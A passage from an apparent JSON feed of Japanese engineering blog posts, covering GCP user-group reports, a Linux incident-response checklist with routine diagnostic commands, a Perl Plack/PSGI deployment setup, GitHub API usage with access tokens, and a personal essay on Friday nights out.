2017「華金なんて好きにお酒でも飲んでりゃいいでしょｗｗｗ」とお思いの方もいらっしゃるかと思いますが、我々は「華金を最高のものにするにはどうすればいいか」というお題を設けてみました。華金とは一体なんなのかまずは華金とは何か、という整理をすべきであると考えました。華金を楽しむために我々は仕事をしている華金は仕事でバリューを出した結果であり、華金をするためにバリューを出せるようにする華金をするにはバリューを出せばいいので、どうやってバリューを出すかを考えるバリューを出すことが目的ではなく、あくまでも華金をすることを目的とすればよいこう書くと「仕事でバリュー出せとかいう意識高い系の話かよー」と勘違いしてしまうかもしれないですが、それは全くの誤解です。また、華金は単に飲み会をすればいいというわけでもなく、お酒の席が苦手であれば別の好きなことをやればよいレイトショーを観に行く、ゲーム大会を開催するなども立派な華金となり得ると、各々が最高と思えることをやればそれが華金と言えるので、華金の定義や形式張ったものは不要です。最高の華金とは何か次に、最高の華金とは何かについて考えてみます。最高の華金をしたい人たちが最高の華金をやるためのモチベーションをもって最高の華金を全力で楽しむが最高の華金ではないかと考えます。最高の華金は華金が始まる前から始まっているでは次に、華金はどうすれば最高になるのかを考えてみます。華金に対しての意識を高めるとか面倒くさそう冒頭にも書きましたが、「楽しく飲みに行きたいだけなのに、こういう話はメンドクセー！！！」という話も出ました。たしかにおっしゃるとおりです。華金力の高い人材を育成するでは、ここで言う「華金力の高い人材」とは何を指すのか。「華金をコーディネートでき、かつそれを主体的に広めていける人材」華金に誘える人が周りにいないぞ…どうすれば…たしかに、人によってはそういうケースもありますよね。そこまでしてなんで華金がしたいの？ここまで、華金華金と言ってきましたが、なんでそこまでして華金がしたいの？という疑問が出てきてもおかしくないですね。「限りある華金という瞬間を少しでも最高にしたい」最後に最後まで読んでいただきありがとうございます。華金は誰もが楽しめるエンターテイメントエンターテイメントを楽しむなら妥協はするな限りある華金に全力で挑めといったところでしょうか。おじさんになっていくと内臓やら足腰がやられてきて自由が効かなくなってきます。もしかすると家族の事情でそれどころではなくなってしまうかもしれません。人生における「華金」という最高の瞬間には特別な価値があり、それを謳歌できるうちに全力になるのは決して悪いものではないと思います。多少偏った話もあったかと思いますが、皆様がそれぞれ幸せについて考えるきっかけになれば幸いです。","link":"https://blog.jigyakkuma.org/2017/06/17/hanakin/","isoDate":"2017-06-16T15:33:30.000Z","dateMiliSeconds":1497627210000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"desktop entry で自作アプリの登録方法","contentSnippet":"最近、作業環境を ApricityOS に変えました。gnome ベースなのとおしゃれな見た目なのが気に入っているのですが、1 つ困ってることがありました。業務で社内用 Gyazo が用意されているので、それを使っているのですが、自作クライアントを dock から起動させたい、ただそれだけなんですがそのあたりがよくわかってなかったので調べてみました。Dash to dockApricityOS は gnome extentions のDash to dockを採用していました。(Dash to dock のイメージ)Setting などを見たところ、Dash to dock はあくまでも dock なのでアプリの管理を行っているわけではないようです。ヒントがなくて悩むどっかにアプリを定義してるところありそうなのになかなか見つけられんなーと思いながらあれこれしていると ApricityOS に ice というアプリが入っているのに気づく。“Apricity OS lets you put your favorite web apps on the desktop with ICE, a simple SSB (Site Specific Browser) manager. “と書いてあったので試してみたらサイトをシングルアプリとして起動できるようによしなにしてくれるツールであった。このツールを使うとサイトがアプリとして起動できるように dock に追加されていて「おっ！もしや？？」となった。desktop entry先ほどの ice で登録したアプリがどっかにファイルとして生成されてるのは明白だったので探ってみると.desktop というファイルが置かれており、ここでようやく desktop entry を知ることができた(長かった)。desktop entryはリンク先にほぼほぼ書いてあるのですが、freedesktop.orgの仕様があり、フォーマットに沿ったファイルを/usr/share/applications とか ~/.local/share/applications に設置することでアプリケーションのデスクトップエントリとしてショートカットを配置できるようです。今回は以下のようなファイルを~/.local/share/applications に配置しました。配置するとこんな感じ(Gyazo アイコンがそれです)gnome 系を使っていたこともあったのに desktop entry について知らなかったのでいい勉強になりました。","link":"https://blog.jigyakkuma.org/2016/07/11/desktop-entry/","isoDate":"2016-07-11T12:51:58.000Z","dateMiliSeconds":1468241518000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"YAP(achimon)C::Asia Hachioji 2016 に参加(登壇)させていただいきました ","contentSnippet":"夏はカンファレンスの時期ですね！謝辞YAP(achimon)C::Asia Hachioji の Organizers、スタッフの皆様、場所を提供いただきましたMicrosoft 様、ありがとうございました！経緯YAP(achimon)C::Asia Hachioji(以後 yapc8oji)、最初は傍観していたのですが、主催者の方が「応募頼む！！！！」みたいな悲痛の叫びをされていたので賑やかしで応募したのが経緯でした。「応募の Issue がわいわいしてればいいかー」くらいの気持ちだったのですが、ありがたくも採択いただき、少々焦りましたが粛々と資料を作成し始めました。苦悩資料作るといつも思いますが、「ちゃんと説明したいけど、ウケも狙いたいし、どういう方向性がいいのかなー」みたいな葛藤があって、書いては消しを繰り返してました…内容今回は実際に運用している AWS アカウントと AWS IAM 管理の社内の仕組みを事例として話しました。反省「仕組みを紹介する」、ということ自体は Blog でもできるから、それ以外のところをうまく伝える、楽しんでもらえる構成にすべきだったなーというのがありました。次回はスピリチュアルな話ができるネタで挑戦したいと思います。感想話す内容は割とニッチであるので覚悟はしていたので、見に来ていただいた方々には感謝です。少しでも皆様の参考になったのであれば幸いです。あとはプレゼンのうまさ(抑揚やアイスブレイク、場の空気づくりなど)はまだまだなので、エンターテイメント性は上げていきたいところです。それでは、またどこかでお会いしましょう！！！！１今年もノベルティのステッカーあります #yapc8ojiB pic.twitter.com/s7b7Q1YBte— jigyakkuma (@jigyakkuma_) July 2, 2016[追記]運営の方に動画をアップロードいただきましたので以下よりご覧ください！","link":"https://blog.jigyakkuma.org/2016/07/02/yapcasia8oji/","isoDate":"2016-07-02T07:25:51.000Z","dateMiliSeconds":1467444351000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"GCPUG Shonan vol.3 に参加してきた","contentSnippet":"GCPUG Shonan も 4 回目の開催。今回も GAE の話題が中心でした。GCPUG Shonan vol.3<いつものお礼>茅ヶ崎 login 様、ありがとうございました！appengine ja nigntに登壇された方々をお招きしての GAE 事例あれこれ紹介といった内容でした。GAE のアクセス制限app.yaml に login Element を設定しておくとアクセス制限ができる。参考 URL- url: /admin/.* script: admin.app login: adminみたいにしておくと、GCP Console の IAM で Admin 権限を付与したユーザのみがアクセスできるページが作れるというもの。GAE からのメール送信制限社内で GAE を使ったツールを作成するに当たって、要件としてメールの送信があったのでメール送信数の制限については参考になった。AppEngine quotaGAE flexible environment私の知っている GAE はいわいる GAE Standard environment と呼ばれるものでした。AppEngine typeGAE のカスタムドメイン設定GAE でカスタムドメイン設定を行うと、設定したアカウントからは設定が見えるが他ユーザからは GCP Console を見てもカスタムドメインの設定がされていないように見えるとのこと。また、懇親会もいつものように盛り上がったので、その様子も。懇親会\uD83C\uDF52\uD83C\uDF52\uD83C\uDF52 #gcpug pic.twitter.com/UaBTyUk5xi— Ryuji Tsutsui (@ryu22e) June 19, 2016GCPUG Shonan にはさくらんぼが出る \uD83D\uDCDD #gcpug pic.twitter.com/iARp3XYCMP— sou (@sou) June 19, 2016GCPUG Shonan スタッフの@tora470さんの差し入れのさくらんぼでキャッキャする感じでした。あと、今回は appengine ja night で登壇された方々にも参加いただいたのでいつも以上にわいわいできてよかったと思います。地域密着イベントではありますが、参加人数にも限界があるので遠方から足を運んでいただける方には感謝しかないですね！","link":"https://blog.jigyakkuma.org/2016/06/19/gcpug-shonan03/","isoDate":"2016-06-19T12:43:16.000Z","dateMiliSeconds":1466340196000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"guake の背景画像を systemd でいい感じに切り替える","contentSnippet":"今回はいつもお世話になってる terminal の話です。今使ってるのが manjaro linux(KDE)なんですが、こちらは yakuake で使っていて、maia という theme できれいに統一されてたのと背景画像の透過の調整が難しかったのでカスタマイズせずに使ってました。今回も guake のスライドショーやるかーと思って cron を仕込もうかと思ったら Arch ではデフォルトで cron 入れねぇみたいなのが書いてあったので systemd の timer を仕込むことにしました。guake-slideshow.shまずはスライドショーをやってくれす shell script ですが、これは gconftool-2 を使って切り替えます。guake-slideshow.serviceguake-slideshow.sh を叩く systemd の service です。shell script や画像のあるディレクトリはここで調整するようにしてます。guake-slideshow.timersystemd に仕掛ける timer です。Setting$ cd ~/bin$ lsguake-slideshow.sh$ cd ~$ mkdir -p ~/.config/systemd/user && $_$ lsguake-slideshow.service guake-slideshow.timer$ systemctl --user start guake-slideshow.timersystemd に関する記事は探せばたくさん出てくるので、ここでは手順をメモする程度にとどめます。仕事でよく目にする terminal だからこそ、好きなアニメ画像などを切り替えるだけで捗るってもんですね！","link":"https://blog.jigyakkuma.org/2016/06/16/guake-slideshow/","isoDate":"2016-06-15T23:44:59.000Z","dateMiliSeconds":1466034299000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"GCPUG Shonan vol.2 に参加してきた","contentSnippet":"前回は GAE 勉強会(過去 blog はこちら)でしたが今回はハンズオンということで GAE を実際に触る回でした。GCPUG Shonan feat.GAE vol.2<恒例のお礼>茅ヶ崎 login 様、ありがとうございました！今回はハンズオンということもあり以下のような構成でした。GAE の導入主催の@nuki_ponさんより GAE についての簡単な説明。GAE で静的コンテンツの配信ここからはハンズオン形式で GAE を触ってみることに。https://github.com/FreeGufo/gae-static-templateはまりどころはそこまでないとは思いますが、ここに記載ない内容で行くと、「Google Developer Console」を使用可能な状態にしておくというのがあります。https://console.cloud.google.comにアクセスし、クレジットカードを登録してから初める必要があります。あとは GAE だけでなく、GCP 全般に言えることとしてはプロジェクト作成時にプロジェクト名を入力するのですが、その際に自動的にプロジェクト ID が付与されるので、各サービスで指定する場合はプロジェクト ID とするのが注意点です。WordPress on GAE後半は@ryu22eさんに WordPress を GAE 動かすハンズオンを行っていただきました。資料と参考 blogを見ながら進めると簡単に構築できました。懇親会今回は前回とは違う顔ぶれとなり、テーマがよかったのかフロントをメインにされている女性の方も参加いただいていたので、幅広い方に知っていただくという意味ではよい方向に向かっているのかなと思いました。最後に今後も参加予定なので、もしこの blog を見て参加しよう！という気になった方がいましたら気軽にお声がけいただけると幸いです。","link":"https://blog.jigyakkuma.org/2016/04/17/gcpug-shonan02/","isoDate":"2016-04-17T03:56:49.000Z","dateMiliSeconds":1460865409000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"GCPUG Shonan vol.1 に参加してきた","contentSnippet":"前回は vol.0 ということで正式な開催ではなかったのかな？という感じでしたが、晴れて GCPUG Shonan の vol.1 が開催されるということで今回も参加してきました。(前回参加の blog はこちら)今回もスタッフの皆様ならびにご協力いただきました茅ヶ崎 login 様、ありがとうございました！GCPUG Shonan vol.1 は 3 本立てでした。GCPUG Getting Started主催の@nuki_ponさんから GCPUG の開催に当たってのもろもろの話。ここにまとまっているので読んだほうが早いです。自営 de GAE@secondarykeyさんによる GCP の簡単な紹介と GAE の導入についての解説をしていただきました。資料はこちら)GAE の特徴や連携できる機能などをまとめていただいており、ざっくり知るのにちょうどいい内容でした。GAE と GAS@soundtrickerさんの主に GoogleAppsScript の話。資料はこちら)GoogleAppsScript のメリットをわかりやすく教えていただきました。あと参考になったのは GAE と Pub/Sub で使うというのは良さそうな感じでした。Datastore について@sinmetalさんの Google Cloud Datastore についての話。下調べしてなかったのですが、AWS でいうところのDynamoDBでした。資料はこちら)Datastore については使ってないので DynamoDB と比較しにくいですが、機能やパフォーマンスは Datastore に分があるように感じました。GCP トレーニングの講師もされている方なので、お礼も兼ねてここで宣伝させていただきます。懇親会今回も食事とお酒をご用意いただき、和気あいあいと会話させていただきました。最後に都内で開催される凄腕エンジニアが集まる勉強会もいいのですが、地元開催のイベントで地元を盛り上げつつその近辺のエンジニアが繋がるというのも中々楽しいのではとは思っております。今回は地元メンバーが 3 人ということだったので、これからも繋がっていけるエンジニアが 1 人でも増えればいいなと思っておりますので、次回以降も参加して活性化をお手伝いできればとは思います。","link":"https://blog.jigyakkuma.org/2016/02/28/gcpug-shonan01/","isoDate":"2016-02-28T12:26:32.000Z","dateMiliSeconds":1456662392000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"障碍対応と私","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 18日目の記事です昨日は@yashims85さんのAndroid drawableは画像を入れておくだけじゃないでした。今日は障碍の話です。普段障碍対応しているときにやってること考えてることをざっくりと時系列を追って書いていきたいと思います。コンテキストとしてはLinuxサーバでwebサービスをやっていると思っていただければと思います。障碍の検知webサービスを運営していれば、何かしらの監視システムからSlackなりIRCなりメールなり電話なりでアラートの通知が来ると思います。対応報告障碍対応をしている旨をメールなり、何かの連絡手段で伝えます。同じく見ている人がいれば調査作業の分担もできます。状況把握どこで障碍?アラートの通知内容にどのサーバで何が起きた的なことが書いてあるはずなので、それを確認します。だいたいの組織に於いてはサーバ管理表的なものがwebなりExcelなり設定ファイルなりにあるはずなので、そこと照らし合わせてどのプロジェクトのどのロールなのかを把握します。直前に何をした? いつもと違うことは何?webアプリケーションであれば直前に入れた変更が原因かもしれません。また、ちょっと前に入れていた変更だが、cronで時限発火したというケースも考えられるかも知れません。イベント開始で急にトラフィックが上がったと言うことも考えられるかも知れません。普段と変わったことは何かということが把握出来れば対処の幅が広がります。影響範囲は?サービス全体なのか、サービスの1機能の障碍なのか、ミドルウェア障碍なのか、影響がどの範囲に及んでいるのかを見ます。ミドルウェア障碍であれば、最近であれば、冗長化されてるのが普通なので、サービスから切り離して、監視から外せば終わりというパターンも多いです。サービス全体が落ちている場合は、ひとまず重要な関係者に状況の1次連絡すぐにした方が良いでしょう。接続出来る?そもそも、該当サーバに接続出来ない場合は、できることはほぼないので、該当サーバをサービスから外した上で、監視対象から外します。(単体のサーバ障碍の場合)# pingは通る?ping ${IP}# sshできる?ssh ${IP}ログの確認該当サーバ上で動いているミドルウェアやアプリケーションサーバのエラーログを主に見ます。だいたいこの辺に重要な情報が出力されている可能性があります。システムのログも確認した方が良いです。主にsyslogやkernelログを見ると良いでしょう。# syslogを見るless /var/log/syslog# kernelログを見るless /var/log/kern.log# kernelログを見る2dmesgサーバ状態の確認負荷の関係で障碍が起きているのであれば、現在のサーバの状態を確認しましょう。以下のようなコマンドが現状把握に役立つでしょう。# loadaverageおよびログイン中のユーザを見るw# 変なプロセス無いか見るps -ef# orps auxwwww# 開いているポートを確認するnetstat -tlnp# ネットワークコネクションを確認するnetstat -taopen# なにかCPU使いまくってないか見るtop# 現在の負荷の経過を見るdstat -tamsl 5# 過去の負荷情報を見る## CPUsar## memorysar -r## lasar -q対処直前のコミットにバグを入れ込んでしまったのであればリバートすれば解決するでしょうし、特定のサーバ落ちたのであれば、サービスから外してあげるだけで良いかも知れません。障碍の内容によって対処方法は様々です。ここで気を付けたいのは二次災害を起こさないことです。可能であれば、コマンドなり対処スクリプトのレビューをしてもらったり、現状認識に間違いがないかを周りの人にしてもらうと良いでしょう。(往々にして一人で障碍対応せざるを得ない場合もありますが。。)事後報告障碍対応が終わったら、記憶が新鮮なうちに下記の内容をまとめてしかるべき場所に投稿します。この辺の報告のフォーマットはだいたいの組織において決まっていることが多いでしょう。障碍内容影響範囲経過対処方法将来の対策面倒くさがらずに事実をなるべく詳細に書いておくと未来の自分や自組織のためになると思います。私の組織でも過去の障碍報告がだいぶ良い感じにデータベースになっており、たまに読み返すと気付きが得られます。また、この障碍報告を元に、同種の障碍をなるべく起こさない仕組み作りをしていくことが肝要だと思います。終わりに自分が障碍対応しているときにやってること、考えてることをざっくり書いてきました。誰にやり方を教わったわけでもないので、そこは違うとかこうした方がいいとかあれば、いただけると幸いです。明日は、@lycoris102さんのGameJam部 活動年間活動報告です。きっと面白い話なのではないでしょうか。","link":"https://blog.masasuzu.net/entry/2015/12/18/troubleshooting","isoDate":"2015-12-18T13:00:00.000Z","dateMiliSeconds":1450443600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"「たのしいインフラの歩き方」を読み終えて","contentSnippet":"購入したのが 3 ヶ月も前なんですが、持ち歩きながらコツコツ読んでようやく読み終わったので感想をまとめようと思いました。「たのしいインフラの歩き方」、ページ数が多いので電子書籍にするか迷いましたがカバーが可愛かったので本にしました pic.twitter.com/ZwgdH1Izbu— jigyakkuma (@jigyakkuma_) September 8, 2015tweet にもあるように不順な動機で電子書籍ではなく本を購入しましたが、内容が技術書というよりは丁寧に書かれた秘めたる想いという感じだったので本で読むといい感じでした。この書籍は Introduction にも書いてある通り、技術書というよりは著者の経験を元に書かれたインフラに関するまとめとなるもので、そこには共感できる内容もたくさん書かれており、単なる技術書からでは得られない大切なことばかりが書かれてました。670 ページとかなりボリュームはあるので章をわけて感想を整理したいと思います。インフラの心得ここではインフラの中でどのカテゴリにも当てはまるような基本的なことが書かれていました。スタートアップ期に必要なことスタートアップではオフィス設計からネットワーク構築、開発環境(PC など)の管理や NAS や社内サーバを用意するなど意外とやることが多い。そんなところが触れられていたが私自身もこの章に書かれているようなところを現職で担っており、共感できる部分が非常に多くうれしかった。イベント(1)引っ越しオフィスの引っ越しは私も経験したことがあるので、その記憶を照らし合わせながらこの章を読みました。ゼロから構築するのではなく、既に稼働しているものを移設するという構築当初と別の問題が浮上してくるところも「あるある」感があってよかったです。中小企業期に求められることこの章では会社規模が大きくなってきた時に段々とインフラや社内システムなどの責任が重くなってくるのでそれにどう対処していくべきかといったところが触れられてました。イベント(2)事業拡大社内のとあるサービスもオンプレから AWS に移行したことがありましたが、その際にネックとなったのがデータセンターの増設でした。大規模に向けてこの章ではよくある既存環境をどうスケールさせていくかについて触れられています。私自身、業務で直接サーバのインフラ部分を担当することはないのですが、監視・負荷分散・ Infrastructure as Code など知っておくべき内容が多く書かれていたのがよかったですし、広く触れられているので初級編の教科書代わりにしてもよさそう。イベント(3)コスト削減データセンターのクローズ作業や不要なサーバの整理など、コストについてまわるところは日常的に取り組んでいることもあり共感できるところも多かったです。求道者の心得インフラは適用範囲が広く、自分にとってどんな知識が必要かを時間という制約の中でいかに身につけていくかというのは常日頃から意識したいと再認識した。また、そこも含めていちエンジニアとしての技量が測られると思うし、インフラに限らずこれからもエンジニアとしてやっていくならそういった意識も大事にしていきたい。インフラを支える基礎知識インフラの領域とは言わず、エンジニアであれば広く知っておきたいことが書かれているのとサラッと読めるボリュームが GOOD。最後に感想を書くのに振り返りながら軽く読み直しましたが、改めて思ったのが本書に書かれている内容の幅が広すぎて著者は一体何者だ…という感想でした。また所々に書きましたが、共感できる箇所が本当に多くて読んでて面白かったし、自分と同じような体験が書籍として公の場に出たことが素直に喜ばしかったです。会社の中で呼ばれる「インフラ」といった内容は網羅されており、また間口が広い構成になっているのでインフラエンジニアに限らず気軽に読んでいただき、少しでもインフラというジャンルに興味を持っていただける人が増えればと願います。","link":"https://blog.jigyakkuma.org/2015/12/17/tanoshii-infra-impression/","isoDate":"2015-12-17T00:07:38.000Z","dateMiliSeconds":1450310858000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"#chibapm Chiba.pm#7に参加しました。","contentSnippet":"参加しました。雑なスライドですみません。スライド中に出てきてるやつはどれも五反田のお店で出てきます。五反田企業のガイアックスさんとかモバイルファクトリーさんはPerlの会社なので、美味しいごはんを食べたい人は検討してみてはいかがでしょうか。そういえば、Chiba.pmの開催回数がKichijoji.pm、Gotanda.pmに抜かされそうです。。","link":"https://blog.masasuzu.net/entry/2015/12/12/chiba.pm-7","isoDate":"2015-12-12T09:39:37.000Z","dateMiliSeconds":1449913177000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Plack/PSGIなwebアプリケーションの実行環境","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 11日目の記事です※ 投稿内容は私個人の意見であり、所属企業・部門見解ならびに技術戦略を代表するものではありません。昨日は@rymizukiさんのnpmライブラリの運用と管理についてでした。今日はPerlの話です。お仕事やプライベートでPerlのwebアプリケーションを書くことが多く、いろいろ知見が溜まってきてるので、ここで少し紹介しようと思います。今回はPlack/PSGIなwebアプリケーションの実行環境の話です。mod_perlなアプリケーションとはちょっとコンテキストが違います。少しかっちりコンテキストに近いです。個人で軽くwebアプリケーション立てるならもう少しゆるふわでも問題ないはずです。OSUbuntuのLTSを使うことが多いです。Ubuntu前提の内容が後に続きます。PerlSystem Perlは使ってません。OS/ディストリビューションが変わってもなるべくそのまま動くようにしたいためです。perl-buildで独自ビルドしたPerlを使います。インストール場所としては、 /usr/local/perl/perl-5.${VERSION} に置きます。Perlを独自ビルドしたものをDebian package化して実行環境にはインストールします。他の方法としては、ビルド済みのperlをtarで固めて、配布するというのもあります。どちらでも構わないのですが、ローカルネットワークにaptサーバ立てている関係で、Debian packageの方が運用しやすいのです。また、perlのマイナーバージョンアップの際もDebian packageを作り直した上で、 apt-get upgrade (or aptitude safe-upgrade)で完結するので、aptの操作に慣れていて楽というのもあります。モジュール管理今風にcpanfileでモジュール管理してます。モジュールインストールはCartonを使ってます。Cartonの後継でCarmelも開発されてます。個人的にはそろそろ触っておきたいところです。また、cpanfile.snapshotもレポジトリに入れています。一般的なモジュールは特定の(古い)バージョンに依存せずに動くべきですが、依存モジュールのバージョン違いによって現在動いているアプリケーションが壊れるのを防ぐために、バージョン固定します。cpanfile.snapshotがある状態で下記のように carton install してあげると、どの環境でも同じバージョンのモジュールがインストールされます。carton install --deployment --without develop,test今やってないですが、別方法としては、モジュールがインストール済みの状態で、 carton bundle すると vendar/ にモジュールのtarが固められるので、それもレポジトリ管理した上で、下記の様にインストールするという手もあります。インストールの際は vendor/bin/carton にfatpackされたcartonコマンドが入るのでそれを使います。(アプリ実行環境にcartonを敢えて入れる必要は無い)# 依存モジュールを固めるcarton bundle# インストール# env.shは後述./script/env.sh vendor/bin/carton install --cached --deployment --without develop,testさらに別方法としては、ビルドサーバで依存モジュールをビルドした上で、ディレクトリごと実行環境にrsyncしてあげる方法です。ビルドサーバを運用しているならば、この方法でも良いでしょう。参照Carton考2014carton bundle && carton install --cachedの使いどころ独自モジュールなるべく、独自モジュールは使わない方が良いのですが、個人的な事情などで、CPANに公開出来ないモジュールに関しては、OrePAN2 でDarkpanを作ってそこからローカルに配信するようにしてます。OrePAN2のサーバを簡単に立ち上げられるOrePAN2::Serverがありますが、一時期は使っていましたが、モジュールのアップロード機能は別にいらないなどの理由で今はwebサーバから静的配信してます。環境変数プロジェクトのレポジトリに config/env.rc という名前で、アプリケーションを動かすために必要な環境変数を定義したファイルを作ります。PERL5_VERSION=\\"22\\"export PROJECT_BASE=\\"/path/to/project\\"export PERL_CARTON_MIRROR=\\"http://orepan.local/\\"export PERL5LIB=\\"${PROJECT_BASE}/local/lib/perl5:${PROJECT_BASE}/lib\\"export PATH=\\"${PROJECT_BASE}/local/bin:/usr/local/perl/perl-5.${PERL5_VERSION}/bin:${PATH}\\"export PLACK_PORT=5555また、 script/env.sh という名前で config/env.rc を読み込んだ上で、プログラムを実行するラッパースクリプトを作ります。スクリプトなどは基本的にこれを通して実行します。#!/bin/bash -ue# 諸々環境変数を設定した上でコマンドを実行する君## env.sh perl hogehoge.pl#source /path/to/project/config/env.rcexec \\"$@\\"開発環境で、いちいちラッパースクリプト通すのが面倒な場合は、config/env.rc のsymlinkをプロジェクトルートに .envrc として張った上で、direnv使って済ましてしまう場合もあります。web サーバ起動スクリプトpsgiファイルを plackup するのではなく、こんな感じのスクリプトをscript/web みたいな名前で 用意してアプリケーションサーバを起動するようにしてます。#!/usr/bin/env perluse strict;use warnings;use lib \\"$ENV{PROJECT_BASE}/lib\\";use Plack::Loader;use SomeApplication::Config;use SomeApplication::Web::Handler;my $config = SomeApplication::Config->load();my $app = SomeApplication::Web->to_app();Plack::Loader->load( $config->{psgi}->{server}, %{ $config->{psgi}->{config} },)->run($app);また、このスクリプトをstart_serverを経由して起動することで、(graceful restartによる)ホットデプロイをできるようにしてます。start_server のプロセスにSIGHUPを送ると子プロセスのアプリケーションサーバを再起動してくれるのですが、 plackup コマンドで起動してると start_server に渡した引数をそのまま使ってplackup を再起動するので、 max_workers の数を変えたいときなど、 start_server 自体のプロセスを再起動しなくてはならないので不便です。なので、起動スクリプトを作ってます。そのほかにも理由があるのですが、参照リンクに詳しくあります。サーバ実装としては、StarletやGazelleを使ってます。参照PSGI/Plackアプリケーションの起動方法いろいろと本番環境アレコレ普通に使う Plack/PSGI ServerGraduate from .psgiデーモン管理現在はUpstartでアプリケーションサーバのデーモン管理してます。以下の理由で、個人的には好きでした(過去形)。最新のUbuntuはSystemdに変わってしまったので、将来的にはSystemdに移行することになるでしょう。Ubuntuに標準で入っていてサーバ起動時の自動起動してくれてデーモン異常終了時に自動再起動してくれて設定はわりかしわかりやすい/etc/init/web-some-application.conf みたいな名前でこんな設定ファイルを作りますdescription \'some web application\'author \'masasuzu \'start on runlevel [2345]stop on starting rc RUNLEVEL=[016]setuid webappsetgid webapp# 異常時に再起動するrespawnscript . /path/to/project/config/env.rc export PLACK_ENV=\\"production\\" exec ${PROJECT_BASE}/local/bin/start_server \\\\ --interval 10 \\\\ --port ${PLACK_PORT} \\\\ -- ${PROJECT_BASE}/script/service/webend script上記のファイルを作ると以下のように操作出来ます。reloadでSIGHUPが送れるので、アプリケーションサーバのstart_server経由のgraceful restartができます。# 起動service web-some-application start# 停止service web-some-application stop# (start_serverのプロセスごと)再起動service web-some-application restart# Plackサーバを再起動service web-some-application reloadアプリケーションサーバ以外も、ジョブのワーカーなども、独自に設定ファイルを作って、Upstart経由で起動したりしてます。Upstart以外の選択肢としては、先に挙げたSystemdの他、以下のものがあるでしょう。好みと要件に合わせて使えば良いと思います。daemontoolsSuvpervisordSystemd参照Server::Starterから学ぶhot deployの仕組みServer::Starter の --interval オプションは大切Upstart を使ってお手軽 daemon 化Upstart Intro, Cookbook and Best PractisesおわりにWAF(Web Application Framework)やログの話など膨らまそうと思えばもっと膨らませられますが、実行環境の話なので、ここまでで抑えておきます。ざっくりと、Plack/PSGIなアプリケーションの実行環境について説明してきました。PerlでWebアプリケーションを作る時に何か参考になれば幸いです。また、もっと良い方法があれば、教えていただけるとありがたいです。明日は、@nekobato さんです webpackのなにか面白い話があるんじゃないかとわくどきしてます。","link":"https://blog.masasuzu.net/entry/2015/12/11/plack-psgi-exec-env","isoDate":"2015-12-11T04:30:00.000Z","dateMiliSeconds":1449808200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Github APIを使おう","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 4日目の記事です今日は、Github APIの話です。Githubの管理作業は他のWebサービスと同じく基本Webコンソールでできます。ただ、Organizationとかを管理してる場合、ある程度以上規模が大きくなると、定型的な管理作業が増えて、Webでぽちぽちやるには煩雑でつらくなってきます。ここで怠惰エンジニア*1はどうにかこの定型作業を自動化/スクリプト化できないかなと考え始めます。幸い、GithubにはAPIがあるので、これを利用して要件に合わせて、実装することができます。ドキュメントは以下の場所にあるので、各APIの使い方などはそちらを参照してください。GitHub API v3 | GitHub Developer Guideapiアクセスを投げるpublicな情報を取得するには普通にcurlでGET発行するだけで、取得出来ます。curl https://api.github.com/users/masasuzu/reposが、これだけでは、privateな情報にアクセスできません。ので、Basic認証をしてアクセスをします。curl -u ${USER}:${PASSWORD} https://api.github.com/orgs/some_privete/reposただ、この場合、このアカウントで出来ることが全て実行出来てしまうので、下記のリンクからアクセストークンを発行して、権限を絞ってAPIにアクセスするのが望ましいです。アクセストークンは作成時にしか見れないので、ちゃんと書き留めておくようにしましょう。Personal access tokensアクセストークンを使用した場合、下記の3つの方法で認証出来ます。curl -u :${ACCESS_TOKEN} https://api.github.com/orgs/some_privete/reposcurl -H \'Authorization: token ${ACCESS_TOKEN}\' https://api.github.com/orgs/some_privete/reposcurl \'https://api.github.com/orgs/some_private/repos?access_token=${ACCESS_TOKEN}\'ドキュメントに各API発行に必要なscope(権限)が書いてあるので必要なscopeだけ付与してあげると良いです。perlでの選択肢今までで、APIアクセスする手段を得ることはできましたが、シェルスクリプトで処理を組み立てるのは、無謀なので、使い慣れてるプログラミング言語で実装したいところです。当社ではPerlを使い慣れてるエンジニアが多いので、ここではPerlのクライアントを紹介します。現在のところ以下の2つの選択肢があります。PithubNet::Github私はPithubを使っています。使い始めた時期においてPithubの方が更新されてそうだったからです。が、今見るとNet::Githubも更新されてるように見えます。他の言語での選択肢特にプログラミング言語にこだわりが無いのであれば、githubがメンテナンスしてるoctokitを使うと良いと思います。RubyとObjective C、.Netに対応してます。たぶん鉄板だと思います。(しかし、octokitのこのサンライズというかバンダイに怒られそうなデザインは大丈夫なのでしょうか?まとめ煩雑で定型的な作業はGithub APIで自動化すると良いPrivateな情報の操作はアクセストークンを発行してAPIを発行するPerlにはPithubとNet::Githubのクライアントライブラリがあるこだわりがなければ、クライアントはoctokit使うと良い明日は、 @mihyaeru21 さんです。iOS回りの面白いエントリが見れそうです。*1:プログラマの3大美徳の1つ","link":"https://blog.masasuzu.net/entry/2015/12/04/use_github_api","isoDate":"2015-12-04T14:47:44.000Z","dateMiliSeconds":1449240464000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"GCPUG Shonan vol.0 に参加してきた","contentSnippet":"タイトルの通り、GCPUG が湘南(今回は茅ヶ崎)で開催されるということでお邪魔してきました。まずは開催いただきましたスタッフの皆様ありがとうございました！AIZAC 様もありがとうございました！ロケーションが最高でした。GCPUGに来た pic.twitter.com/lkfEXWj1kC— jigyakkuma (@jigyakkuma_) November 29, 2015行く前は GCPUG の趣旨がはっきりとわかっていませんでしたが、大規模な勉強会というよりかは小規模で対話しながら参加者に理解を深めてもらうといったイベントでした(今回はハンズオン)。作業環境準備まずはじめに作業環境の準備をしましたが、Developer Console の Cloud Shell を立ち上げるだけで終わった。Cloud Shellけっこう便利だし、今後使う機会が増えるかもと思ったのでポイントを整理Google Cloud Shellディストリビューションは 